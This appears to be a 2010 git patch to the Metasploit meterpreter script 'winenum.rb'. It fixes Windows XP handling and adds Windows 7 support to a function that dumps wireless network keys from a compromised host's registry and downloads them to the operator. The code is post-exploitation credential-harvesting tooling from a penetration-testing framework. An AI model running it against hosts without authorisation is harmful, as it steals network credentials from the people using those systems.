From 4e5c0f55bfefc9fdc15d7881d241d2d10fb98ef7 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Wed, 20 Jan 2010 01:00:05 +0000 Subject: [PATCH] Bug fix for when running against WindowsXP RTM, and now dumps wireless registry key for 7 git-svn-id: file:///home/svn/framework3/trunk@8172 4d416f70-5f16-0410-b530-b9f4589650da --- scripts/meterpreter/winenum.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/scripts/meterpreter/winenum.rb b/scripts/meterpreter/winenum.rb index 1f9e2c67ac..f5602568ff 100644 --- a/scripts/meterpreter/winenum.rb +++ b/scripts/meterpreter/winenum.rb @@ -526,7 +526,12 @@ def dumpwlankeys(pathoflogs,filename) trgtos = info['OS'] if trgtos =~ /(XP)/ key = xpwlan - elsif trgtos =~ /(Vista)/ + present = false + if reg_enumkeys("HKLM\\Software\\Microsoft\\WZCSVC\\Parameters").length == 0 + print_status("\tNo Wireless interfaces are configured on this host!") + return + end + elsif trgtos =~ /(Vista|7)/ key = vswlan end begin @@ -554,7 +559,7 @@ def dumpwlankeys(pathoflogs,filename) begin print_status("\tDownloading wlan#{filename}.cab to -> #{pathoflogs}/wlan#{filename}.cab") @client.fs.file.download_file("#{pathoflogs}/wlan#{filename}.cab", "#{windir}\\wlan#{filename}.cab") - sleep(5) + #sleep(5) rescue ::Exception => e print_status("Error Downloading Registry keys #{e.class} #{e}") end